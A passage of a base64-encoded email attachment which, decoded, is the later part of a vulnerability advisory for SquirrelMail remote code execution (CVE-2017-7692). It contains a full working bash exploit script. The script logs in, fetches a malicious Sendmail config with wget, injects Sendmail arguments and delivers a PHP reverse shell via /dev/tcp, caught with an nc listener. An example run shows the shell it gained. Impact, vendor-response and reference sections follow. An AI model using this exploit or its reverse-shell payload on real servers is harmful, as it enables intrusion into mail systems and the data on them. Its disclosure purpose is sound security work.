Ny03NjkyKSBcbiIKI2VjaG8gLWUgIlNxdWlycmVsTWFpbF9SQ0VfZXhwbG9pdC5zaCAodmVyLiAx
LjApXG4iCiNlY2hvIC1lICJEaXNjb3ZlcmVkIGFuZCBjb2RlZCBieTogXG5cbkRhd2lkIEdvbHVu
c2tpIFxuaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tIFwwMzNbMG1cblxuIgoKCiMgQmFzZSBVUkwK
aWYgWyAkIyAtbmUgMSBdOyB0aGVuCgllY2hvIC1lICJVc2FnZTogXG4kMCBTcXVpcnJlbE1haWxf
VVJMIgoJZWNobyAtZSAiRXhhbXBsZTogXG4kMCBodHRwOi8vdGFyZ2V0L3NxdWlycmVsbWFpbC8g
XG4iCgkKCWV4aXQgMgpmaQpVUkw9IiQxIgoKIyBMb2cgaW4KZWNobyAtZSAiXG5bKl0gRW50ZXIg
U3F1aXJyZWxNYWlsIHVzZXIgY3JlZGVudGlhbHMiCnJlYWQgLXAgICJ1c2VyOiAiIHNxdXNlcgpy
ZWFkIC1zcCAicGFzczogIiBzcXBhc3MKCmVjaG8gLWUgIlxuXG5bKl0gTG9nZ2luZyBpbiB0byBT
cXVpcnJlbE1haWwgYXQgJFVSTCIKY3VybCAtcyAtRCAvdG1wL3NxZGF0YSAtZCJsb2dpbl91c2Vy
bmFtZT0kc3F1c2VyJnNlY3JldGtleT0kc3FwYXNzJmpzX2F1dG9kZXRlY3RfcmVzdWx0cz0xJmp1
c3RfbG9nZ2VkX2luPTEiICRVUkwvc3JjL3JlZGlyZWN0LnBocCB8IGdyZXAgLXEgaW5jb3JyZWN0
CmlmIFsgJD8gLWVxIDAgXTsgdGhlbgoJZWNobyAiSW52YWxpZCBjcmVkcyIKCWV4aXQgMgpmaQpz
ZXNzaWQ9ImBjYXQgL3RtcC9zcWRhdGEgfCBncmVwIFNRTVNFU1MgfCB0YWlsIC1uMSB8IGN1dCAt
ZCc9JyAtZjIgfCBjdXQgLWQnOycgLWYxYCIKa2V5aWQ9ImBjYXQgL3RtcC9zcWRhdGEgfCBncmVw
IGtleSB8IHRhaWwgLW4xIHwgY3V0IC1kJz0nIC1mMiB8IGN1dCAtZCc7JyAtZjFgIgoKCiMgUHJl
cGFyZSBTZW5kbWFpbCBjbmYKIwojICogVGhlIGNvbmZpZyB3aWxsIGxhdW5jaCBwaHAgdmlhIHRo
ZSBmb2xsb3dpbmcgc3RhbnphOgojIAojIE1sb2NhbCwJUD0vdXNyL2Jpbi9waHAsIEY9bHNERk1B
dzU6L3xAcVBuOVMsIFM9RW52RnJvbUwvSGRyRnJvbUwsIFI9RW52VG9ML0hkclRvTCwKIyAJCVQ9
RE5TL1JGQzgyMi9YLVVuaXgsCiMgCQlBPXBocCAtLSAkdSAkaCAke2NsaWVudF9hZGRyfQojCndn
ZXQgLXEgLU8vdG1wL3NtY25mLWV4cCBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMv
c2VuZG1haWwtZXhwbG9pdC5jZgoKIyBVcGxvYWQgY29uZmlnCmVjaG8gLWUgIlxuXG5bKl0gVXBs
b2FkaW5nIFNlbmRtYWlsIGNvbmZpZyIKdG9rZW49ImBjdXJsIC1zIC1iIlNRTVNFU1NJRD0kc2Vz
c2lkOyBrZXk9JGtleWlkIiAiJFVSTC9zcmMvY29tcG9zZS5waHA/bWFpbGJveD1JTkJPWCZzdGFy
dE1lc3NhZ2U9MSIgfCBncmVwIHNtdG9rZW4gfCBhd2sgLUYndmFsdWU9IicgJ3twcmludCAkMn0n
IHwgY3V0IC1kJyInIC1mMSBgIgphdHRhY2hpZD0iYGN1cmwgLUggIkV4cGVjdDoiIC1zIC1iIlNR
TVNFU1NJRD0kc2Vzc2lkOyBrZXk9JGtleWlkIiAtRiJzbXRva2VuPSR0b2tlbiIgLUYic2VuZF90
bz0kbWFpbCIgLUYic3ViamVjdD1hdHRhY2giIC1GImJvZHk9dGVzdCIgLUYiYXR0YWNoZmlsZT1A
L3RtcC9zbWNuZi1leHAiIC1GInVzZXJuYW1lPSRzcXVzZXIiIC1GImF0dGFjaD1BZGQiICRVUkwv
c3JjL2NvbXBvc2UucGhwIHwgYXdrIC1GJ3M6MzInICd7cHJpbnQgJDJ9JyB8IGF3ayAtRicmcXVv
dDsnICd7cHJpbnQgJDJ9JyB8IHRyIC1kICdcbidgIgppZiBbICR7I2F0dGFjaGlkfSAtbHQgMzIg
XTsgdGhlbgoJZWNobyAiU29tZXRoaW5nIHdlbnQgd3JvbmcuIEZhaWxlZCB0byB1cGxvYWQgdGhl
IHNlbmRtYWlsIGZpbGUuIgoJZXhpdCAyCmZpCgojIENyZWF0ZSBTZW5kbWFpbCBjbWQgc3RyaW5n
IGFjY29yZGluZyB0byBzZWxlY3RlZCBwYXlsb2FkCmVjaG8gLWUgIlxuXG5bP10gU2VsZWN0IHBh
eWxvYWRcbiIKIyBTRUxFQ1QgUEFZTE9BRAplY2hvICIxIC0gRmlsZSB3cml0ZSAoaW50byAvdG1w
L3NxcG9jKSIKZWNobyAiMiAtIFJlbW90ZSBDb2RlIEV4ZWN1dGlvbiAod2l0aCB0aGUgdXBsb2Fk
ZWQgc21jbmYtZXhwICsgcGhwc2gpIgplY2hvCnJlYWQgLXAgIlsxLTJdICIgcGNob2ljZQoKY2Fz
ZSAkcGNob2ljZSBpbgoJMSkgcGF5bG9hZD0iJHNxdXNlckBsb2NhbGhvc3QJLW9RL3RtcC8JLVgv
dG1wL3NxcG9jIiAKCSAgIDs7CgoJMikgcGF5bG9hZD0iJHNxdXNlckBsb2NhbGhvc3QJLW9RL3Rt
cC8JLUMkc3FzcG9vbC8kYXR0YWNoaWQiIAoJICAgOzsKZXNhYwoKaWYgWyAkcGNob2ljZSAtZXEg
MiBdOyB0aGVuCgllY2hvCglyZWFkIC1wICJSZXZlcmVzZSBzaGVsbCBJUDogIiByZXZlcnNlX2lw
CglyZWFkIC1wICJSZXZlcmVzZSBzaGVsbCBQT1JUOiAiIHJldmVyc2VfcG9ydApmaQoKIyBSZXZl
cnNlIHNoZWxsIGNvZGUKcGhwcmV2c2g9Igo8P3BocCAKCVwkY21kID0gXCIvYmluL2Jhc2ggLWMg
J2Jhc2ggLWkgPi9kZXYvdGNwLyRyZXZlcnNlX2lwLyRyZXZlcnNlX3BvcnQgMDwmMSAyPiYxICYg
J1wiOwoJZmlsZV9wdXRfY29udGVudHMoXCIvdG1wL2NtZFwiLCAnZXhwb3J0IFBBVEg9XCJcJFBB
VEhcIiA7IGV4cG9ydCBURVJNPXZ0MTAwIDsnIC4gXCRjbWQpOwoJc3lzdGVtKFwiL2Jpbi9iYXNo
IC90bXAvY21kIDsgcm0gLWYgL3RtcC9jbWRcIik7Cj8+IgoKCiMgU2V0IHNlbmRtYWlsIHBhcmFt
cyBpbiB1c2VyIHNldHRpbmdzCmVjaG8gLWUgIlxuWypdIEluamVjdGluZyBTZW5kbWFpbCBjb21t
YW5kIHBhcmFtZXRlcnMiCnRva2VuPSJgY3VybCAtcyAtYiJTUU1TRVNTSUQ9JHNlc3NpZDsga2V5
PSRrZXlpZCIgIiRVUkwvc3JjL29wdGlvbnMucGhwP29wdHBhZ2U9cGVyc29uYWwiIHwgZ3JlcCBz
bXRva2VuIHwgYXdrIC1GJ3ZhbHVlPSInICd7cHJpbnQgJDJ9JyB8IGN1dCAtZCciJyAtZjEgYCIK
Y3VybCAtcyAtYiJTUU1TRVNTSUQ9JHNlc3NpZDsga2V5PSRrZXlpZCIgLWQgInNtdG9rZW49JHRv
a2VuJm9wdHBhZ2U9cGVyc29uYWwmb3B0bW9kZT1zdWJtaXQmc3VibWl0X3BlcnNvbmFsPVN1Ym1p
dCIgLS1kYXRhLXVybGVuY29kZSAibmV3X2VtYWlsX2FkZHJlc3M9JHBheWxvYWQiICIkVVJML3Ny
Yy9vcHRpb25zLnBocD9vcHRwYWdlPXBlcnNvbmFsIiB8IGdyZXAgLXEgJ1N1Y2Nlc3MnIDI+L2Rl
di9udWxsCmlmIFsgJD8gLW5lIDAgXTsgdGhlbgoJZWNobyAiRmFpbGVkIHRvIGluamVjdCBzZW5k
bWFpbCBwYXJhbWV0ZXJzIgoJZXhpdCAyCmZpCgojIFNlbmQgZW1haWwgd2hpY2ggdHJpZ2dlcnMg
dGhlIFJDRSB2dWxuIGFuZCBydW5zIHBocHJldnNoCmVjaG8gLWUgIlxuWypdIFNlbmRpbmcgdGhl
IGVtYWlsIHRvIHRyaWdnZXIgdGhlIHZ1bG4iCihzbGVlcCAycyAmJiBjdXJsIC1zIC1EL3RtcC9z
aGVhZGVycyAtYiJTUU1TRVNTSUQ9JHNlc3NpZDsga2V5PSRrZXlpZCIgLWQic210b2tlbj0kdG9r
ZW4iIC1kInN0YXJ0TWVzc2FnZT0xIiAtZCJzZXNzaW9uPTAiIFwKLWQic2VuZF90bz0kc3F1c2Vy
QGxvY2FsaG9zdCIgLWQic3ViamVjdD1wb2MiIC0tZGF0YS11cmxlbmNvZGUgImJvZHk9JHBocHJl
dnNoIiAtZCJzZW5kPVNlbmQiIC1kInVzZXJuYW1lPSRzcXVzZXIiICRVUkwvc3JjL2NvbXBvc2Uu
cGhwKSAmCgppZiBbICRwY2hvaWNlIC1lcSAyIF07IHRoZW4KCWVjaG8gLWUgIlxuWypdIFdhaXRp
bmcgZm9yIHNoZWxsIG9uICRyZXZlcnNlX2lwIHBvcnQgJHJldmVyc2VfcG9ydCIKCW5jIC12diAt
bCAtcCAkcmV2ZXJzZV9wb3J0CmVsc2UKCWVjaG8gLWUgIlxuWypdIFRoZSB0ZXN0IGZpbGUgc2hv
dWxkIGhhdmUgYmVlbiB3cml0dGVuIGF0IC90bXAvc3Fwb2MiCmZpCgpncmVwIC1xICIzMDIgRm91
bmQiIC90bXAvc2hlYWRlcnMKaWYgWyAkPyAtZXEgMSBdOyB0aGVuCgllY2hvICJUaGVyZSB3YXMg
YSBwcm9ibGVtIHdpdGggc2VuZGluZyBlbWFpbCIKCWV4aXQgMgpmaQoKCiMgRG9uZQplY2hvIC1l
ICJcblsqXSBBbGwgZG9uZS4gRXhpdGluZyIKCgoKLS0tLS0tLVsgRU9GIF0tLS0tLS0tLQoKCgpF
eGFtcGxlIHJ1bjoKfn5+fn5+fn5+fn5+fgoKJCAuL1NxdWlycmVsTWFpbF9SQ0VfZXhwbG9pdC5z
aCBodHRwOi8veGVuaWFsL3NxdWlycmVsbWFpbC8KCiAgICAgX18gICAgICAgICAgICAgICAgICAg
ICBfXyAgIF9fICBfXyAgICAgICAgICAgX18gICAgICAgICAgICAgICAgIAogICAgLyAvICAgX19f
ICBfX19fIF9fX19fIF8vIC8gIC8gLyAvIC9fX18gX19fX19fLyAvX19fX18gIF9fX19fX19fX18K
ICAgLyAvICAgLyBfIFwvIF9fIGAvIF9fIGAvIC8gIC8gL18vIC8gX18gYC8gX19fLyAvL18vIF8g
XC8gX19fLyBfX18vCiAgLyAvX19fLyAgX18vIC9fLyAvIC9fLyAvIC8gIC8gX18gIC8gL18vIC8g
L19fLyAsPCAvICBfXy8gLyAgKF9fICApIAogL19fX19fL1xfX18vXF9fLCAvXF9fLF8vXy8gIC9f
LyAvXy9cX18sXy9cX19fL18vfF98XF9fXy9fLyAgL19fX18vICAKICAgICAgICAgICAvX19fXy8g
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKClNxdWly
cmVsTWFpbCA8PSAxLjQuMjIgUmVtb3RlIENvZGUgRXhlY3V0aW9uIFBvQyBFeHBsb2l0IChDVkUt
MjAxNy03NjkyKQoKU3F1aXJyZWxNYWlsX1JDRV9leHBsb2l0LnNoICh2ZXIuIDEuMCkKCkRpc2Nv
dmVyZWQgYW5kIGNvZGVkIGJ5IAoKRGF3aWQgR29sdW5za2kgKEBkYXdpZF9nb2x1bnNraSkKaHR0
cHM6Ly9sZWdhbGhhY2tlcnMuY29tCgpFeHBsb2l0Qm94IHByb2plY3Q6Cmh0dHBzOi8vRXhwbG9p
dEJveC5pbwoKCgpbKl0gRW50ZXIgU3F1aXJyZWxNYWlsIHVzZXIgY3JlZGVudGlhbHMKdXNlcjog
YXR0YWNrZXIKcGFzczogCgpbKl0gTG9nZ2luZyBpbiB0byBTcXVpcnJlbE1haWwgYXQgaHR0cDov
L3hlbmlhbC9zcXVpcnJlbG1haWwvCgoKWypdIFVwbG9hZGluZyBTZW5kbWFpbCBjb25maWcKCgpb
P10gU2VsZWN0IHBheWxvYWQKCjEgLSBGaWxlIHdyaXRlIChpbnRvIC90bXAvc3Fwb2MpCjIgLSBS
ZW1vdGUgQ29kZSBFeGVjdXRpb24gKHdpdGggdGhlIHVwbG9hZGVkIHNtY25mLWV4cCArIHBocHNo
KQoKWzEtMl0gMgoKUmV2ZXJlc2Ugc2hlbGwgSVA6IDE5Mi4xNjguNTcuMQpSZXZlcmVzZSBzaGVs
bCBQT1JUOiAxMzM3CgpbKl0gSW5qZWN0aW5nIFNlbmRtYWlsIGNvbW1hbmQgcGFyYW1ldGVycwoK
WypdIFNlbmRpbmcgdGhlIGVtYWlsIHRvIHRyaWdnZXIgdGhlIHZ1bG4KClsqXSBXYWl0aW5nIGZv
ciBzaGVsbCBvbiAxOTIuMTY4LjU3LjEgcG9ydCAxMzM3Ckxpc3RlbmluZyBvbiBbMC4wLjAuMF0g
KGZhbWlseSAwLCBwb3J0IDEzMzcpCkNvbm5lY3Rpb24gZnJvbSBbMTkyLjE2OC41Ny4zXSBwb3J0
IDEzMzcgW3RjcC8qXSBhY2NlcHRlZCAoZmFtaWx5IDIsIHNwb3J0IDYwNjA4KQpiYXNoOiBjYW5u
b3Qgc2V0IHRlcm1pbmFsIHByb2Nlc3MgZ3JvdXAgKDEyMjA4KTogSW5hcHByb3ByaWF0ZSBpb2N0
bCBmb3IgZGV2aWNlCmJhc2g6IG5vIGpvYiBjb250cm9sIGluIHRoaXMgc2hlbGwKd3d3LWRhdGFA
dnVsbnN5czovdG1wJCBpZCAKaWQKdWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdy
b3Vwcz0zMyh3d3ctZGF0YSkKd3d3LWRhdGFAdnVsbnN5czovdG1wJCBkcGtnIC1sIHwgZ3JlcCBz
cXVpcnJlbG1haWwKZHBrZyAtbCB8IGdyZXAgc3F1aXJyZWxtYWlsCmlpICBzcXVpcnJlbG1haWwg
ICAgICAgICAgICAgICAgICAgICAgIDI6MS40LjIzfnN2bjIwMTIwNDA2LTJ1YnVudHUxLjE2LjA0
LjEgICAgICBhbGwgICAgICAgICAgV2VibWFpbCBmb3IgbnV0cwp3d3ctZGF0YUB2dWxuc3lzOi90
bXAkIGV4aXQKZXhpdApleGl0CgpbKl0gQWxsIGRvbmUuIEV4aXRpbmcKCgpWaWRlbyBQb0M6Cn5+
fn5+fn5+fn5+fn4KCmh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS92aWRlb3MvU3F1aXJyZWxNYWls
LUV4cGxvaXQtUmVtb3RlLUNvZGUtRXhlYy1DVkUtMjAxNy03NjkyLVZ1bG4uaHRtbAoKCgpWSS4g
QlVTSU5FU1MgSU1QQUNUCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCkEgc3VjY2Vzc2Z1bCBl
eHBsb2l0YXRpb24gY291bGQgbGV0IHJlbW90ZSBhdHRhY2tlcnMgdG8gZ2FpbiBhY2Nlc3MgdG8g
CnRoZSB0YXJnZXQgc2VydmVyIGluIHRoZSBjb250ZXh0IG9mIHRoZSB3ZWIgc2VydmVyIGFjY291
bnQgd2hpY2ggY291bGQKbGVhZCB0byBhIGZ1bGwgY29tcHJvbWlzZSBvZiB0aGUgd2ViIGFwcGxp
Y2F0aW9uLgoKIApWSUkuIFNZU1RFTVMgQUZGRUNURUQKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LQoKVGhlIGxhdGVzdCB2ZXJzaW9uIG9mIFNxdWlycmVsTWFpbCAxLjQuMjIgYW5kIGJlbG93IGFy
ZSBhZmZlY3RlZC4KClZJSUkuIFNPTFVUSU9OIC8gVkVORE9SIFJFU1BPTlNFCi0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0KClRoZSB2dWxuZXJhYmlsaXR5IHdhcyBmaXJzdCByZXBvcnRlZCB0byBT
cXVpcnJlbE1haWwgdmVuZG9yIGJ5IHRoZQphdXRob3Igb2YgdGhpcyBhZHZpc29yeSB3aGljaCBy
ZXN1bHRlZCBpbiBDVkUtSUQgKDIwMTctNTE4MSkgaXNzdWVkIG9uIDR0aApKYW51YXJ5LiBUaGUg
dmVuZG9yIHJlcXVlc3RlZCBtb3JlIHRpbWUgZHVlIHRvIHBlcnNvbmFsIGlzc3Vlcy4gCgpUaGUg
dnVsbmVyYWJpbGl0eSB3YXMgaG93ZXZlciBkaXNjb3ZlcmVkIGFuZCBwdWJsaXNoZWQgaW4gQXBy
aWwgYnkgYW5vdGhlciAKcmVzZWFyY2hlciBvbiBvc3Mtc2VjdXJpdHkgbGlzdCB3aGljaCB0cmln
Z2VyZWQgdGhlIHJlbGVhc2Ugb2YgdGhpcyBhZHZpc29yeSAKd2l0aG91dCBhbiBvZmZpY2lhbCBz
b2x1dGlvbiBhdmFpbGFibGUuCgpBcyBhIHRlbXBvcmFyeSBzb2x1dGlvbiB1c2VycyBjYW4gc3dp
dGNoIHRvIFNNVFAgYmFzZWQgdHJhbnNwb3J0IChhcyAKb3Bwb3NlZCB0byBTZW5kbWFpbCkuCgpB
cyBhZHZpc2VkIGJ5IE1JVFJFLCB0aGlzIHZ1bG5lcmFiaWxpdHkgc2hvdWxkIG5vdyBiZSB0cmFj
a2VkIHVuZGVyIHRoZSAKbmV3IENWRUlEIC0gQ1ZFLTIwMTctNzY5Mi4KClZlbmRvciBoYXMgYmVl
biBhZHZpc2VkIHRoYXQgdGhlIGlzdWUgaXMgbm93IHB1YmxpYy4gTm8gcmVzcG9uc2UgaGFzIGJl
ZW4KcmVjZWl2ZWQgeWV0LgoKSVguIFJFRkVSRU5DRVMKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LQoKaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tCgpodHRwczovL0V4cGxvaXRCb3guaW8KClRoaXMg
LyBDVkUtMjAxNy03NjkyIGFkdmlzb3J5IFVSTDoKaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fk
dmlzb3JpZXMvU3F1aXJyZWxNYWlsLUV4cGxvaXQtUmVtb3RlLUNvZGUtRXhlYy1DVkUtMjAxNy03
NjkyLVZ1bG4uaHRtbAoKVmlkZW8gUG9DIGV4cGxvaXQ6Cmh0dHBzOi8vbGVnYWxoYWNrZXJzLmNv
bS92aWRlb3MvU3F1aXJyZWxNYWlsLUV4cGxvaXQtUmVtb3RlLUNvZGUtRXhlYy1DVkUtMjAxNy03
NjkyLVZ1bG4uaHRtbAoKRXhwbG9pdCBjb2RlOgpUaGUgc2ltcGxlIFBvQyBzaG93biBhYm92ZSBp
cyBhdmFpbGFibGUgaGVyZToKaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL0NWRS0y
MDE3LTc2OTIvU3F1aXJyZWxNYWlsX1JDRV9leHBsb2l0LnNoCmh0dHBzOi8vbGVnYWxoYWNrZXJz
LmNvbS9leHBsb2l0cy9zZW5kbWFpbC1leHBsb2l0LmNuZgoKQ1ZFLTIwMTctNzY5MgpodHRwczov
L2N2ZS5taXRyZS5vcmcvY2dpLWJpbi9jdmVuYW1lLmNnaT9uYW1lPUNWRS0yMDE3LTc2OTIKClZl
bmRvciBzaXRlOgpodHRwczovL3NxdWlycmVsbWFpbC5vcmcKClJlbGF0ZWQgT1NTLVNFQ1VSSVRZ
IG1lc3NhZ2VzOgpodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAx
Ny8wNC8xOS83CgoKClNpbWlsYXIgdnVsbmVyYWJpbGl0aWVzIGRpc2NvdmVyZWQgYnkgdGhlIGF1
dGhvciAoUEhQTWFpbGVyICYgU3dpZnRNYWlsZXIpOgoKaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29t
L2Fkdmlzb3JpZXMvUEhQTWFpbGVyLUV4cGxvaXQtUmVtb3RlLUNvZGUtRXhlYy1DVkUtMjAxNi0x
MDAzMy1WdWxuLmh0bWwKaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvUEhQTWFp
bGVyLUV4cGxvaXQtUmVtb3RlLUNvZGUtRXhlYy1DVkUtMjAxNi0xMDA0NS1WdWxuLVBhdGNoLUJ5
cGFzcy5odG1sCmh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL1N3aWZ0TWFpbGVy
LUV4cGxvaXQtUmVtb3RlLUNvZGUtRXhlYy1DVkUtMjAxNi0xMDA3NC1WdWxuLmh0bWwKCgpYLiBD
UkVESVRTCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KClRoZSB2dWxuZXJhYmlsaXR5IHdhcyBm
aXJzdCBkaXNjb3ZlcmVkL3JlcG9ydGVkIGJ5IERhd2lkIEdvbHVuc2tpCmRhd2lkIChhdCkgbGVn
YWxoYWNrZXJzIChkb3QpIGNvbQpodHRwczovL2xlZ2FsaGFja2Vycy5jb20KCkZpbGlwcG8gQ2F2
YWxsYXJpbiwgd2hvIGFsc28gcmVwb3J0ZWQgdGhlIHZ1bG5lcmFiaWxpdHkgYXQgYSBsYXRlciBk
YXRlIAooc2VlIHRoZSBvc3Mtc2VjdXJpdHkgdGhyZWFkIHJlZmVyZW5jZWQgYmVsb3cgZm9yIGRl
dGFpbHMpCgogClhJLiBSRVZJU0lPTiBISVNUT1JZCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K
CjIyLjA0LjIwMTcgLSBBZHZpc29yeSByZWxlYXNlZAogCgpYSUkuIExFR0FMIE5PVElDRVMKLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKVGhlIGluZm9ybWF0aW9uIGNvbnRhaW5lZCB3aXRoaW4g
dGhpcyBhZHZpc29yeSBpcyBzdXBwbGllZCAiYXMtaXMiIHdpdGgKbm8gd2FycmFudGllcyBvciBn
dWFyYW50ZWVzIG9mIGZpdG5lc3Mgb2YgdXNlIG9yIG90aGVyd2lzZS4gSSBhY2NlcHQgbm8KcmVz
cG9uc2liaWxpdHkgZm9yIGFueSBkYW1hZ2UgY2F1c2VkIGJ5IHRoZSB1c2Ugb3IgbWlzdXNlIG9m
IHRoaXMgaW5mb3JtYXRpb24uCgo=
--f403045dd974f3e969054dd9c056--